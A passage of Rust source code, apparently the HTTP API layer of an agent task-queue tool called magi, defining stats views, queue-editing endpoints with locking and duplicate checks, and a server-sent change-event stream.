7242        let inv = (task.status == TaskStatus::Blocked)
7243            .then(|| crate::blockers::Inventory::load_for(&ui.queue, &ui.questions, &task));
7244        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
7245        let view = match inv.as_ref() {
7246            Some(inv) => TaskView::with_inventory(task, inv),
7247            None => TaskView::from(task),
7248        }
7249        .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home);
7250        Ok(Json(view))
7251    })
7252    .await
7253}
7254
7255async fn task_detail(
7256    State(ui): State<Arc<Ui>>,
7257    Path(id): Path<String>,
7258) -> ApiResult<Json<TaskDetailView>> {
7259    blocking(move || {
7260        let id = resolve_task(&ui.queue, &id)?;
7261        let task = ui
7262            .queue
7263            .get(&id)
7264            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
7265        let inv = if task.status == TaskStatus::Blocked {
7266            Some(crate::blockers::Inventory::load_for(
7267                &ui.queue,
7268                &ui.questions,
7269                &task,
7270            ))
7271        } else {
7272            None
7273        };
7274        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
7275        mark_badges(&ui, &task, &mut history);
7276        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
7277        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
7278        let origin = task.followup.as_ref().map(|fu| {
7279            followup_origin(
7280                fu,
7281                |tid| ui.queue.get(tid).ok(),
7282                |rid| read_run(&ui.runs, rid).ok(),
7283            )
7284        });
7285        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
7286        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
7287        let task_view = match inv.as_ref() {
7288            Some(inv) => TaskView::with_inventory(task, inv),
7289            None => TaskView::from(task),
7290        }
7291        .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home)
7292        .with_recovery_decisions(&ui.questions);
7293        Ok(Json(TaskDetailView {
7294            max_attempts,
7295            flow,
7296            followup_origin: origin,
7297            passes_total: history.len(),
7298            runs_distinct: distinct_runs(&task_view.task.runs),
7299            history,
7300            runs_unreadable,
7301            attempts_note: ATTEMPTS_NOTE,
7302            task: task_view,
7303        }))
7304    })
7305    .await
7306}
7307
7308/// A rate together with its denominator, so the client can tell "computed as
7309/// 0%" apart from "no data to compute it from" — both would otherwise
7310/// serialize as `0.0`. `None` means the denominator was zero.
7311#[derive(Debug, Serialize)]
7312struct RateView {
7313    pct: f64,
7314    denominator: usize,
7315}
7316
7317impl RateView {
7318    fn of(numerator: usize, denominator: usize) -> Option<Self> {
7319        (denominator > 0).then(|| Self {
7320            pct: 100.0 * numerator as f64 / denominator as f64,
7321            denominator,
7322        })
7323    }
7324}
7325
7326/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
7327/// rates, each paired with its own denominator via [`RateView`] rather than
7328/// exposing `Stats`' own percentage methods directly — see this module's
7329/// doc for why `Stats` itself is never serialized.
7330#[derive(Debug, Serialize)]
7331struct StatsTotalsView {
7332    runs: usize,
7333    merged: usize,
7334    ready: usize,
7335    blocked: usize,
7336    failed: usize,
7337    stalled: usize,
7338    verified_noop: usize,
7339    superseded: usize,
7340    in_progress: usize,
7341    completion_rate: Option<RateView>,
7342    tallied: usize,
7343    split: usize,
7344    split_rate: Option<RateView>,
7345    deliberated: usize,
7346    minds_changed: usize,
7347    converged: usize,
7348    review_rounds: usize,
7349}
7350
7351impl From<&stats::Totals> for StatsTotalsView {
7352    fn from(t: &stats::Totals) -> Self {
7353        Self {
7354            runs: t.runs,
7355            merged: t.merged,
7356            ready: t.ready,
7357            blocked: t.blocked,
7358            failed: t.failed,
7359            stalled: t.stalled,
7360            verified_noop: t.verified_noop,
7361            superseded: t.superseded,
7362            in_progress: t.in_progress,
7363            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7364            tallied: t.tallied,
7365            split: t.split,
7366            split_rate: RateView::of(t.split, t.tallied),
7367            deliberated: t.deliberated,
7368            minds_changed: t.minds_changed,
7369            converged: t.converged,
7370            review_rounds: t.review_rounds,
7371        }
7372    }
7373}
7374
7375/// [`crate::stats::AgentStats`] for the wire.
7376#[derive(Debug, Serialize)]
7377struct AgentStatsView {
7378    agent: String,
7379    entered: usize,
7380    wins: usize,
7381    empty: usize,
7382    win_rate: Option<RateView>,
7383    competitive_entered: usize,
7384    competitive_wins: usize,
7385    competitive_win_rate: Option<RateView>,
7386    solo_entered: usize,
7387    solo_adopted: usize,
7388    solo_adoption_rate: Option<RateView>,
7389}
7390
7391impl From<&stats::AgentStats> for AgentStatsView {
7392    fn from(a: &stats::AgentStats) -> Self {
7393        Self {
7394            agent: a.agent.clone(),
7395            entered: a.entered,
7396            wins: a.wins,
7397            empty: a.empty,
7398            win_rate: RateView::of(a.wins, a.entered),
7399            competitive_entered: a.competitive_entered,
7400            competitive_wins: a.competitive_wins,
7401            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
7402            solo_entered: a.solo_entered,
7403            solo_adopted: a.solo_adopted,
7404            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
7405        }
7406    }
7407}
7408
7409/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
7410/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
7411/// value, `None` when `rounds` is zero.
7412#[derive(Debug, Serialize)]
7413struct ReviewerStatsView {
7414    agent: String,
7415    rounds: usize,
7416    seated: usize,
7417    submitted: usize,
7418    adopted: usize,
7419    unique: usize,
7420    timeouts: usize,
7421    adopted_per_round: Option<f64>,
7422    precision: Option<RateView>,
7423    unique_rate: Option<RateView>,
7424    timeout_rate: Option<RateView>,
7425}
7426
7427impl From<&stats::ReviewerStats> for ReviewerStatsView {
7428    fn from(r: &stats::ReviewerStats) -> Self {
7429        Self {
7430            agent: r.agent.clone(),
7431            rounds: r.rounds,
7432            seated: r.seated,
7433            submitted: r.submitted,
7434            adopted: r.adopted,
7435            unique: r.unique,
7436            timeouts: r.timeouts,
7437            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
7438            precision: RateView::of(r.adopted, r.submitted),
7439            unique_rate: RateView::of(r.unique, r.submitted),
7440            timeout_rate: RateView::of(r.timeouts, r.seated),
7441        }
7442    }
7443}
7444
7445/// [`crate::stats::AdvisorStats`] for the wire.
7446///
7447/// `reflection_rate` is approximate by construction — see
7448/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
7449/// that caveat is static text in `index.html`, not a field here.
7450#[derive(Debug, Serialize)]
7451struct AdvisorStatsView {
7452    agent: String,
7453    seated: usize,
7454    proposed: usize,
7455    absent: usize,
7456    faint: usize,
7457    strong: usize,
7458    reflection_rate: Option<RateView>,
7459}
7460
7461impl From<&stats::AdvisorStats> for AdvisorStatsView {
7462    fn from(a: &stats::AdvisorStats) -> Self {
7463        Self {
7464            agent: a.agent.clone(),
7465            seated: a.seated,
7466            proposed: a.proposed,
7467            absent: a.absent,
7468            faint: a.faint,
7469            strong: a.strong,
7470            reflection_rate: RateView::of(a.strong, a.proposed),
7471        }
7472    }
7473}
7474
7475/// [`crate::stats::E2eStats`] for the wire.
7476#[derive(Debug, Serialize)]
7477struct E2eStatsView {
7478    rounds: usize,
7479    failures: usize,
7480    sole_detections: usize,
7481    deferred: usize,
7482    sole_rate: Option<RateView>,
7483}
7484
7485impl From<&stats::E2eStats> for E2eStatsView {
7486    fn from(e: &stats::E2eStats) -> Self {
7487        Self {
7488            rounds: e.rounds,
7489            failures: e.failures,
7490            sole_detections: e.sole_detections,
7491            deferred: e.deferred,
7492            sole_rate: RateView::of(e.sole_detections, e.failures),
7493        }
7494    }
7495}
7496
7497/// [`crate::stats::ReleaseBumpStats`] for the wire.
7498///
7499/// `clean` is sent as a raw count, computed the same way
7500/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
7501/// needs_attention`) — never derived client-side from `automerge_enabled`,
7502/// which would misclassify a `merged_directly` bump (automerge rejected, but
7503/// magi merged it directly, so no human involvement) as needing attention.
7504#[derive(Debug, Serialize)]
7505struct ReleaseBumpStatsView {
7506    merged: usize,
7507    recorded: usize,
7508    pr_opened: usize,
7509    automerge_enabled: usize,
7510    merged_directly: usize,
7511    needs_attention: usize,
7512    clean: usize,
7513    coverage_rate: Option<RateView>,
7514    automerge_rate: Option<RateView>,
7515    attention_rate: Option<RateView>,
7516}
7517
7518impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7519    fn from(b: &stats::ReleaseBumpStats) -> Self {
7520        Self {
7521            merged: b.merged,
7522            recorded: b.recorded,
7523            pr_opened: b.pr_opened,
7524            automerge_enabled: b.automerge_enabled,
7525            merged_directly: b.merged_directly,
7526            needs_attention: b.needs_attention,
7527            clean: b.clean(),
7528            coverage_rate: RateView::of(b.recorded, b.merged),
7529            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7530            attention_rate: RateView::of(b.needs_attention, b.recorded),
7531        }
7532    }
7533}
7534
7535/// [`crate::queue::TaskCounts`] for the wire.
7536#[derive(Debug, Serialize)]
7537struct TaskCountsView {
7538    queued: usize,
7539    running: usize,
7540    done: usize,
7541    failed: usize,
7542    held: usize,
7543    blocked: usize,
7544    parked: usize,
7545}
7546
7547impl From<crate::queue::TaskCounts> for TaskCountsView {
7548    fn from(c: crate::queue::TaskCounts) -> Self {
7549        Self {
7550            queued: c.queued,
7551            running: c.running,
7552            done: c.done,
7553            failed: c.failed,
7554            held: c.held,
7555            blocked: c.blocked,
7556            parked: c.parked,
7557        }
7558    }
7559}
7560
7561/// [`crate::stats::RepoStats`] for the wire, one row per repository with
7562/// runs recorded — the summary the UI's repository selector is built from.
7563/// Carries no nested `Stats`: picking a repo means re-fetching
7564/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
7565/// aggregation rather than duplicating it.
7566#[derive(Debug, Serialize)]
7567struct RepoSummaryView {
7568    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
7569    /// against, full path and all (see [`stats_get`]'s own doc for why).
7570    repo: String,
7571    /// Display name only; never used for matching.
7572    name: String,
7573    runs: usize,
7574    completion_rate: Option<RateView>,
7575}
7576
7577impl From<&stats::RepoStats> for RepoSummaryView {
7578    fn from(r: &stats::RepoStats) -> Self {
7579        let t = &r.stats.totals;
7580        Self {
7581            repo: r.repo.to_string_lossy().into_owned(),
7582            name: r.name.clone(),
7583            runs: t.runs,
7584            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7585        }
7586    }
7587}
7588
7589/// `GET /api/stats` - the whole answer. `Stats` itself carries no
7590/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
7591/// renders from them) are free to grow without that becoming a wire-contract
7592/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
7593/// data" from "computed and it really is zero" the way [`RateView`] does.
7594#[derive(Debug, Serialize)]
7595struct StatsView {
7596    totals: StatsTotalsView,
7597    /// Best win rate first, as [`stats::collect`] already sorts it.
7598    agents: Vec<AgentStatsView>,
7599    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
7600    reviewers: Vec<ReviewerStatsView>,
7601    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
7602    advisors: Vec<AdvisorStatsView>,
7603    e2e: E2eStatsView,
7604    release_bumps: ReleaseBumpStatsView,
7605    queue: Option<TaskCountsView>,
7606    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
7607    /// that field's doc. Asserted to match it in
7608    /// `stats_runs_unreadable_matches_health`.
7609    ///
7610    /// Always the whole-workload count, even when `repo` narrows every other
7611    /// field to one repository - an unreadable `run.json` carries no `repo`
7612    /// a per-repository count could attribute it to, and the queue/health
7613    /// views this mirrors never scope it either. The UI must not present it
7614    /// as if it were scoped to the selected repository.
7615    runs_unreadable: usize,
7616    /// Every repository with runs recorded, most runs first - what the UI's
7617    /// repository selector is built from. Always the full list regardless of
7618    /// `repo`, so switching repositories never needs a second request.
7619    repos: Vec<RepoSummaryView>,
7620    /// Runs per local day over the last 30 days, oldest first, always 30
7621    /// entries. Days are the *server's* local dates (the UI must not convert
7622    /// them again), cut by run creation and classified by current status.
7623    /// Narrowed by `repo` like every other run-derived field.
7624    daily: Vec<DailyStatsView>,
7625    /// The `?repo=` value this response was narrowed to, echoed back so the
7626    /// UI can confirm its selection round-tripped. `None` for the aggregate,
7627    /// all-repositories view.
7628    repo: Option<String>,
7629    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
7630    /// current config roster no longer lists them. Empty with `?all=true`, an
7631    /// unreadable config, or when nothing was retired.
7632    retired_hidden: Vec<String>,
7633}
7634
7635/// One day of [`StatsView::daily`].
7636#[derive(Debug, Serialize)]
7637struct DailyStatsView {
7638    /// `YYYY-MM-DD`, server-local.
7639    date: String,
7640    runs: usize,
7641    merged: usize,
7642    ready: usize,
7643    other: usize,
7644    /// `None` on a day with no runs, so it never reads as 0%.
7645    completion_rate: Option<RateView>,
7646}
7647
7648impl From<&stats::DayBucket> for DailyStatsView {
7649    fn from(b: &stats::DayBucket) -> Self {
7650        Self {
7651            date: b.date.to_string(),
7652            runs: b.runs,
7653            merged: b.merged,
7654            ready: b.ready,
7655            other: b.other,
7656            completion_rate: RateView::of(b.merged + b.ready, b.runs),
7657        }
7658    }
7659}
7660
7661/// How many days [`StatsView::daily`] covers.
7662const STATS_DAILY_DAYS: usize = 30;
7663
7664/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
7665/// repository. Matched by full-path equality against `RunState.repo` only
7666/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
7667/// `--repo` is, because the value here always came from this same route's
7668/// own `repos` list in an earlier response, never typed by a human. A value
7669/// matching no run is a 404, not an empty aggregate: the caller asked for a
7670/// specific, named repository, and silently returning zeroes would look
7671/// exactly like a repository that has runs but none of interest.
7672#[derive(Debug, Default, Deserialize)]
7673#[serde(default)]
7674struct StatsQuery {
7675    repo: Option<String>,
7676    /// `?all=true` keeps agents that are no longer in the roster.
7677    all: bool,
7678    /// The dashboard fetches queue counts independently of run history.
7679    runs_only: bool,
7680}
7681
7682/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
7683/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
7684/// runs when `?repo=` narrows it), the same counting logic `magi stats`
7685/// prints from. Reads every readable run on disk, exactly as
7686/// [`runs_unreadable`] does, so the two counts can never drift apart the way
7687/// a separately-maintained tally could.
7688async fn stats_get(
7689    State(ui): State<Arc<Ui>>,
7690    Query(q): Query<StatsQuery>,
7691) -> ApiResult<Json<StatsView>> {
7692    blocking(move || {
7693        let states: Vec<RunState> = run_ids(&ui.runs)
7694            .into_iter()
7695            .filter_map(|id| read_run(&ui.runs, &id).ok())
7696            .collect();
7697        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7698            .iter()
7699            .map(RepoSummaryView::from)
7700            .collect();
7701        let mut scoped: Vec<&RunState> = states.iter().collect();
7702        let mut collected = match &q.repo {
7703            Some(repo) => {
7704                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7705                if filtered.is_empty() {
7706                    return Err(ApiError::not_found(format!(
7707                        "no runs recorded against repo `{repo}`"
7708                    )));
7709                }
7710                scoped = filtered.clone();
7711                stats::collect_refs(filtered)
7712            }
7713            None => stats::collect(&states),
7714        };
7715        if !q.all {
7716            let repo = q
7717                .repo
7718                .as_deref()
7719                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7720            stats::retain_current_roster(&mut collected, &repo);
7721        }
7722        let daily = stats::daily(
7723            scoped,
7724            jiff::Zoned::now().date(),
7725            &jiff::tz::TimeZone::system(),
7726            STATS_DAILY_DAYS,
7727        );
7728        let queue_counts = (!q.runs_only)
7729            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7730        Ok(Json(StatsView {
7731            totals: StatsTotalsView::from(&collected.totals),
7732            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7733            reviewers: collected
7734                .reviewers
7735                .iter()
7736                .map(ReviewerStatsView::from)
7737                .collect(),
7738            advisors: collected
7739                .advisors
7740                .iter()
7741                .map(AdvisorStatsView::from)
7742                .collect(),
7743            e2e: E2eStatsView::from(&collected.e2e),
7744            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7745            queue: queue_counts,
7746            runs_unreadable: runs_unreadable(&ui.runs),
7747            repos,
7748            daily: daily.iter().map(DailyStatsView::from).collect(),
7749            repo: q.repo.clone(),
7750            retired_hidden: collected.retired_hidden.clone(),
7751        }))
7752    })
7753    .await
7754}
7755
7756/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7757/// gives no reason - which must keep working, since not every hold has one.
7758#[derive(Debug, Default, Deserialize)]
7759#[serde(default, deny_unknown_fields)]
7760struct HoldBody {
7761    reason: Option<String>,
7762}
7763
7764async fn queue_hold(
7765    State(ui): State<Arc<Ui>>,
7766    Path(id): Path<String>,
7767    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7768) -> ApiResult<Json<TaskView>> {
7769    // An absent body is the ordinary case - most holds are unexplained, and
7770    // that has to stay a one-tap action rather than a form. A body that is
7771    // present and malformed is still a bad request.
7772    let body = match body {
7773        Ok(Json(body)) => body,
7774        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7775        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7776    };
7777    let reason = body.reason.filter(|r| !r.trim().is_empty());
7778    mutate(ui, id, move |t| {
7779        t.hold_manual(reason.clone());
7780        Ok(())
7781    })
7782    .await
7783}
7784
7785#[derive(Deserialize)]
7786#[serde(deny_unknown_fields)]
7787struct ReassignBody {
7788    repo: PathBuf,
7789}
7790
7791async fn queue_reassign(
7792    State(ui): State<Arc<Ui>>,
7793    Path(id): Path<String>,
7794    Json(body): Json<ReassignBody>,
7795) -> ApiResult<Json<TaskView>> {
7796    let home = ui.home.clone();
7797    let task = crate::task_reassign::reassign(&ui.queue, &home, &ui.repo, &id, &body.repo, "web")
7798        .await
7799        .map_err(ApiError::bad_request_from)?;
7800    let notes = crate::task_reassign::advisory_notes(&task, &home);
7801    let mut view = TaskView::from(task);
7802    view.reassignment_notes = notes;
7803    Ok(Json(view))
7804}
7805
7806async fn queue_release(
7807    State(ui): State<Arc<Ui>>,
7808    Path(id): Path<String>,
7809) -> ApiResult<Json<TaskView>> {
7810    mutate(ui, id, |t| {
7811        t.release_operator("web", None);
7812        Ok(())
7813    })
7814    .await
7815}
7816
7817#[derive(Debug, Deserialize)]
7818#[serde(deny_unknown_fields)]
7819struct AttemptLimitBody {
7820    // Required even when clearing: missing fields must not silently erase an override.
7821    attempt_limit: serde_json::Value,
7822}
7823
7824async fn queue_attempt_limit(
7825    State(ui): State<Arc<Ui>>,
7826    Path(id): Path<String>,
7827    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7828) -> ApiResult<Json<TaskView>> {
7829    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7830    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7831        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7832    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7833}
7834
7835#[derive(Debug, Deserialize)]
7836#[serde(deny_unknown_fields)]
7837struct ImplementersBody {
7838    implementers: u8,
7839}
7840
7841async fn queue_implementers(
7842    State(ui): State<Arc<Ui>>,
7843    Path(id): Path<String>,
7844    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7845) -> ApiResult<Json<TaskView>> {
7846    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7847    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7848}
7849
7850#[derive(Debug, Deserialize)]
7851#[serde(deny_unknown_fields)]
7852struct UrgentBody {
7853    urgent: bool,
7854}
7855
7856async fn queue_urgent(
7857    State(ui): State<Arc<Ui>>,
7858    Path(id): Path<String>,
7859    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7860) -> ApiResult<Json<TaskView>> {
7861    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7862    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7863}
7864
7865#[derive(Debug, Deserialize)]
7866#[serde(deny_unknown_fields)]
7867struct ImmediateBody {
7868    immediate: bool,
7869}
7870
7871async fn queue_immediate(
7872    State(ui): State<Arc<Ui>>,
7873    Path(id): Path<String>,
7874    body: std::result::Result<Json<ImmediateBody>, JsonRejection>,
7875) -> ApiResult<Json<TaskView>> {
7876    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7877    mutate(ui, id, move |t| t.set_immediate(body.immediate)).await
7878}
7879
7880/// The body of `POST /api/queue/{id}/priority`.
7881#[derive(Debug, Deserialize)]
7882#[serde(deny_unknown_fields)]
7883struct PriorityBody {
7884    priority: i32,
7885}
7886
7887/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7888///
7889/// [`Task::set_priority`] is the one place the "not while running" rule is
7890/// stated; this route only carries the body to it and lets its `Err` become
7891/// the 4xx the card shows.
7892async fn queue_priority(
7893    State(ui): State<Arc<Ui>>,
7894    Path(id): Path<String>,
7895    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7896) -> ApiResult<Json<TaskView>> {
7897    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7898    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7899}
7900
7901/// The body of `POST /api/queue/{id}/edit`.
7902#[derive(Debug, Deserialize)]
7903#[serde(deny_unknown_fields)]
7904struct EditBody {
7905    title: String,
7906    instruction: String,
7907    /// Save even though the new text names a branch, commit or pull request
7908    /// that unfinished work already owns.
7909    #[serde(default)]
7910    force: bool,
7911}
7912
7913/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7914/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7915/// that refusal's message is what the sheet shows back.
7916async fn queue_edit(
7917    State(ui): State<Arc<Ui>>,
7918    Path(id): Path<String>,
7919    body: std::result::Result<Json<EditBody>, JsonRejection>,
7920) -> ApiResult<Json<TaskView>> {
7921    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7922    // The judge is an agent call, so it is awaited here, outside the claim
7923    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7924    // remembered, and the save refuses if the task moved underneath it.
7925    let mut judged: Option<(String, PathBuf)> = None;
7926    if !body.force {
7927        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7928        let (id, text) = (id.clone(), body.instruction.clone());
7929        let (seen, hits) = blocking(move || {
7930            let id = resolve_task(&queue, &id)?;
7931            let t = queue.get(&id)?;
7932            if text == t.instruction {
7933                return Ok((None, Vec::new()));
7934            }
7935            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7936            Ok((Some((t.instruction, t.repo)), hits))
7937        })
7938        .await?;
7939        if let Some((_, repo)) = &seen {
7940            let cfg = crate::config::Config::discover(repo, None)
7941                .ok()
7942                .map(|(c, _)| c);
7943            let screened =
7944                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7945                    .await
7946                    .map_err(|dup| {
7947                        ApiError::conflict(dup.render(
7948                            "Nothing was saved. If it is not a duplicate, repeat the request \
7949                             with \"force\": true.",
7950                        ))
7951                    })?;
7952            if let crate::dupes::Screened::Unjudged(why) = screened {
7953                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7954            }
7955        }
7956        judged = seen;
7957    }
7958    let force = body.force;
7959    mutate(ui, id, move |t| {
7960        if !force && body.instruction != t.instruction {
7961            match &judged {
7962                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7963                _ => {
7964                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7965                }
7966            }
7967        }
7968        t.edit(body.title.clone(), body.instruction.clone())
7969    })
7970    .await
7971}
7972
7973#[derive(Debug, Default, Deserialize)]
7974#[serde(default, deny_unknown_fields)]
7975struct CompleteBody {
7976    reason: Option<String>,
7977    result: Option<String>,
7978    discard: bool,
7979}
7980
7981/// Close through the same audited merge/discard guard as the CLI.
7982async fn queue_done(
7983    State(ui): State<Arc<Ui>>,
7984    Path(id): Path<String>,
7985    body: std::result::Result<Json<CompleteBody>, JsonRejection>,
7986) -> ApiResult<Json<TaskView>> {
7987    let body = match body {
7988        Ok(Json(body)) => body,
7989        Err(JsonRejection::MissingJsonContentType(_)) => CompleteBody::default(),
7990        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7991    };
7992    let state = Arc::clone(&ui);
7993    let claimed = blocking(move || claim_task(&state.queue, &id)).await?;
7994    let task = crate::task_completion::close_claimed(
7995        &ui.queue,
7996        &ui.home,
7997        claimed,
7998        crate::queue::CompletionActor::Web,
7999        body.reason,
8000        body.result,
8001        body.discard,
8002    )
8003    .await
8004    .map_err(ApiError::completion)?;
8005    Ok(Json(TaskView::from(task)))
8006}
8007
8008#[derive(Debug, Deserialize)]
8009#[serde(deny_unknown_fields)]
8010struct ReopenBody {
8011    reason: String,
8012}
8013
8014/// Restore a safely unlanded completion to Held, never straight to execution.
8015async fn queue_reopen(
8016    State(ui): State<Arc<Ui>>,
8017    Path(id): Path<String>,
8018    Json(body): Json<ReopenBody>,
8019) -> ApiResult<Json<TaskView>> {
8020    let state = Arc::clone(&ui);
8021    let claimed = blocking(move || claim_task(&state.queue, &id)).await?;
8022    let task = crate::task_completion::reopen_claimed(
8023        &ui.queue,
8024        &ui.home,
8025        claimed,
8026        crate::queue::CompletionActor::Web,
8027        &body.reason,
8028    )
8029    .await
8030    .map_err(ApiError::completion)?;
8031    Ok(Json(TaskView::from(task)))
8032}
8033
8034/// `DELETE /api/queue/{id}`.
8035///
8036/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
8037/// names this task: a `running` status or an orphaned `.lock` left behind by a
8038/// killed daemon is a leftover, and treating either as authority made the
8039/// task undeletable from the phone for good. The associated runs, if any, are
8040/// kept: a run is self-contained history and not an appendage of the task.
8041async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8042    blocking(move || {
8043        let id = resolve_task(&ui.queue, &id)?;
8044        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
8045        ui.queue
8046            .remove(&id, in_flight, &ui.questions)
8047            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
8048        Ok(StatusCode::NO_CONTENT)
8049    })
8050    .await
8051}
8052
8053/// Resolve the operator's reference, then reload under the same claim a daemon takes.
8054fn claim_task(queue: &Queue, reference: &str) -> ApiResult<(crate::queue::Claim, Task)> {
8055    let id = resolve_task(queue, reference)?;
8056    let claim = queue.claim(&id).map_err(|e| {
8057        ApiError::conflict(format!(
8058            "{e:#} - a daemon is running this task, so it cannot be \
8059             changed from here yet; wait until it is released, then retry"
8060        ))
8061    })?;
8062    Ok((claim, queue.get(&id)?))
8063}
8064
8065/// Read a task, change it, write it back, under the queue's own lock.
8066///
8067/// Taking the same claim a daemon takes is what makes hold, release,
8068/// priority, edit, and done safe to press while magi is running: without it
8069/// the daemon's next save would land on top of the operator's change and
8070/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
8071/// both do, for a running task - and that refusal becomes the 4xx the card
8072/// shows, same as any other domain rule.
8073async fn mutate(
8074    ui: Arc<Ui>,
8075    id: String,
8076    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
8077) -> ApiResult<Json<TaskView>> {
8078    blocking(move || {
8079        let task = {
8080            let (_claim, mut task) = claim_task(&ui.queue, &id)?;
8081            change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
8082                Ok(dup) => ApiError::conflict(dup.render(
8083                    "Nothing was saved. If it is not a duplicate, repeat the request with \
8084                     \"force\": true.",
8085                )),
8086                Err(e) => ApiError::bad_request_from(e),
8087            })?;
8088            ui.queue.put(&mut task)?;
8089            task
8090        };
8091        let inv = (task.status == TaskStatus::Blocked)
8092            .then(|| crate::blockers::Inventory::load_for(&ui.queue, &ui.questions, &task));
8093        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
8094        let view = match inv.as_ref() {
8095            Some(inv) => TaskView::with_inventory(task, inv),
8096            None => TaskView::from(task),
8097        }
8098        .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home);
8099        Ok(Json(view))
8100    })
8101    .await
8102}
8103
8104/// The change stream: one revision number per store, on connect and whenever
8105/// any of them moves.
8106///
8107/// One shared worker scans stores; clients only forward its notifications.
8108async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
8109    ui.monitor.ensure_worker(&ui);
8110    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
8111    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
8112
8113    let state = Arc::clone(&ui);
8114    tokio::spawn(async move {
8115        let initial_revisions = {
8116            let guard = match state.monitor.latest.lock() {
8117                Ok(g) => g,
8118                Err(p) => p.into_inner(),
8119            };
8120            guard.as_ref().map(|(r, _)| *r)
8121        };
8122        if let Some(revisions) = initial_revisions {
8123            let initial_payload = serde_json::json!({
8124                "queue_rev": revisions.0,
8125                "runs_rev": revisions.1,
8126                "questions_rev": revisions.2,
8127                "talks_rev": revisions.3,
8128                "notifications_rev": revisions.4,
8129                "loop_rev": revisions.5,
8130            });
8131
8132            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
8133                if tx.send(event).await.is_err() {
8134                    return;
8135                }
8136            }
8137        }
8138
8139        loop {
8140            match tokio::select! {
8141                _ = tx.closed() => return,
8142                value = broadcast_rx.recv() => value,
8143            } {
8144                Ok(notif) => {
8145                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
8146                    else {
8147                        break;
8148                    };
